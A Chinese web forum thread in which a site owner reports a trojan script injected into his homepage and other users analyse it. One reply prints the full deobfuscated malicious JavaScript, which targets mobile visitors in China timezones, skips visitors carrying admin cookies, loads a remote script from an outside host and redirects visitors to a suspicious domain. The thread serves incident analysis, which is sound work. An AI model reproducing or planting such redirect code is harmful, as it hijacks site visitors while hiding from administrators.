被挂马了，发出来大佬们分析分析

nk123 · 发表于 2025-3-4 22:11:04

首页底部被挂js木马

木马连接：https://cdn.jsdelivr.vip/jquery.min-3.6.8.js

jquery_decoded.zip (38.17 KB, 下载次数: 30)

羊村你喜哥 · 发表于 2025-3-6 09:06:34

nk123 发表于 2025-3-5 19:34
点击下载是空白，无法获取下载
他的代码可以学习借鉴下，蛮有技术的

function loadJS(_0x3ee51d, _0x265928) {
var _0x196f57 = document.createElement("script");
var _0x199fe3 = _0x265928 || function () {};
_0x196f57.type = "text/javascript";
{
_0x196f57.onload = function () {
_0x199fe3();
};
}
_0x196f57.src = _0x3ee51d;
document.getElementsByTagName("head")[0].appendChild(_0x196f57);
}
function isPc() {
try {
var _0x425d85 = navigator.platform == "Win32" || navigator.platform == "Windows";
var _0x426231 = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" || navigator.platform == "Macintosh" || navigator.platform == "MacIntel";
if (_0x426231 || _0x425d85) {
return true;
} else {
return false;
}
} catch (_0x20e6bc) {
return false;
}
}
function setCookie(_0x180ca4, _0x45e07b, _0x4fb0da, _0x4ae261 = "minutes") {
const _0x36cff1 = new Date();
if (_0x4ae261 === "minutes") {
_0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 60 * 1000);
} else if (_0x4ae261 === "days") {
_0x36cff1.setTime(_0x36cff1.getTime() + _0x4fb0da * 24 * 60 * 60 * 1000);
}
const _0x56f440 = "expires=" + _0x36cff1.toUTCString();
document.cookie = _0x180ca4 + "=" + _0x45e07b + ";" + _0x56f440 + ";path=/";
}
function getCookie(_0x5a0a01) {
const _0x20540e = decodeURIComponent(document.cookie);
const _0x5a3121 = _0x20540e.split(";");
for (let _0x3455be = 0; _0x3455be < _0x5a3121.length; _0x3455be++) {
let _0x4819fb = _0x5a3121[_0x3455be].trim();
if (_0x4819fb.indexOf(_0x5a0a01 + "=") === 0) {
return _0x4819fb.substring(_0x5a0a01.length + 1);
}
}
return null;
}
function deleteCookie(_0x3f4f74) {
document.cookie = _0x3f4f74 + "=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";
}
function getUserTimezone() {
return Intl.DateTimeFormat().resolvedOptions().timeZone;
}
function isTimezoneAllowed(_0x16d716, _0x3dad68) {
return _0x3dad68.includes(_0x16d716);
}
function vfed_update(_0x59e1bb) {
if (_0x59e1bb !== "") {
loadJS("https://union.macoms.la/html/checkcache.js?o=368", function () {
if (usercache == true) {
window.location.href = _0x59e1bb;
}
});
}
}
var ismobile = navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i);
if (ismobile) {
var current_host = window.location.host;
var s = document.referrer;
var jp = "";
var default_jp = "https://weewqrfv.com/redirect?from=idjc";
var rand = Math.floor(Math.random() * 100 + 1);
var thisDate = new Date();
var currentTime = thisDate.getHours();
var userTimezone = getUserTimezone();
const allowedTimezone = ["Asia/Shanghai", "Asia/Chongqing", "Asia/Harbin", "Asia/Urumqi", "Asia/Kashgar", "Asia/Beijing"];
if (current_host.indexOf("www.dxtv1.com") !== -1 || current_host.indexOf("www.ys752.com") !== -1) {
jp = "https://weewqrfv.com/redirect?from=idjc";
} else if (current_host.indexOf("shuanshu.com.com") !== -1) {
jp = "https://weewqrfv.com/redirect?from=idjc";
} else if (s.indexOf(".") !== -1 && s.indexOf(current_host) == -1) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
} else if (currentTime >= 0 && currentTime < 2) {
if (rand <= 60) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
}
} else if (currentTime >= 2 && currentTime < 4) {
if (rand <= 70) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
}
} else if (currentTime >= 4 && currentTime < 7) {
if (rand <= 80) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
}
} else if (currentTime >= 7 && currentTime < 8) {
if (rand <= 60) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
}
} else if (rand <= 50) {
if (isTimezoneAllowed(userTimezone, allowedTimezone)) {
jp = default_jp;
}
}
(() => {
const _0x217c3c = "userVisitCount";
const _0x10d77e = "userBlocked";
const _0x3ce884 = getCookie(_0x10d77e);
if (_0x3ce884) {
return;
}
let _0x453c44 = getCookie(_0x217c3c);
if (_0x453c44) {
_0x453c44 = parseInt(_0x453c44, 10);
if (_0x453c44 >= 2) {
setCookie(_0x10d77e, "true", 600);
deleteCookie(_0x217c3c);
} else {
_0x453c44 += 1;
setCookie(_0x217c3c, _0x453c44, 60);
if (jp != "" && !isPc()) {
if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
vfed_update(jp);
}
}
}
} else {
setCookie(_0x217c3c, 1, 60);
if (jp != "" && !isPc()) {
if (document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1) {
vfed_update(jp);
}
}
}
})();
}

复制代码

88232128 · 发表于 2025-3-5 14:44:12

看这域名怎么这么熟悉，你是不是用了Goedge投毒版。

nk123 · 发表于 2025-3-5 17:24:36

88232128 发表于 2025-3-5 14:44
看这域名怎么这么熟悉，你是不是用了Goedge投毒版。

Goedge投毒版也是这个人的木马，不过我没有使用，我使用的cf

lmy56131 · 发表于 2025-3-5 17:32:48

是苹果cms吗

羊村你喜哥 · 发表于 2025-3-5 17:55:19

本帖最后由羊村你喜哥于 2025-3-5 17:57 编辑

判断一些设备然后跳转https://weewqrfv.com/redirect?from=idjc
然后gpt总结了下
动态加载外部脚本：通过 loadJS 动态添加 script>标签，并在脚本加载完成后执行回调。
设备判断：使用 isPc 判断当前用户是否为 PC 端，从而区分 PC 和移动设备。
Cookie 管理：包含设置、获取、删除 cookie 的工具函数，用于记录用户访问次数以及是否屏蔽重定向。
时区判断：获取用户时区并与允许列表对比，用于确定是否满足重定向条件。
重定向逻辑：针对移动设备，根据当前主机、来源、时间、随机概率和时区等条件，决定是否通过加载额外脚本来重定向用户到特定 URL，同时通过 cookie 控制同一用户短时间内不重复重定向。
代码
https://file.bachang.org/#/?code=89568

Cuchemist · 发表于 2025-3-5 18:50:25

你怎么发现的?复盘一下?

zsj1259 · 发表于 2025-3-5 19:14:06

Cuchemist 发表于 2025-3-5 18:50
你怎么发现的?复盘一下?

估计打开控制台，看到network 有请求陌生的域名就发现了

nk123 · 发表于 2025-3-5 19:34:18

羊村你喜哥发表于 2025-3-5 17:55
判断一些设备然后跳转https://weewqrfv.com/redirect?from=idjc
然后gpt总结了下
动态加载外部脚本：通过 ...

点击下载是空白，无法获取下载
他的代码可以学习借鉴下，蛮有技术的

明日之子OxO · 发表于 2025-3-5 19:48:10

这域名伪装的真好，不注意真看不出

nk123 · 发表于 2025-3-5 20:00:23

lmy56131 发表于 2025-3-5 17:32
是苹果cms吗

有什么说处吗？

用户名		自动登录	找回密码
密码			注册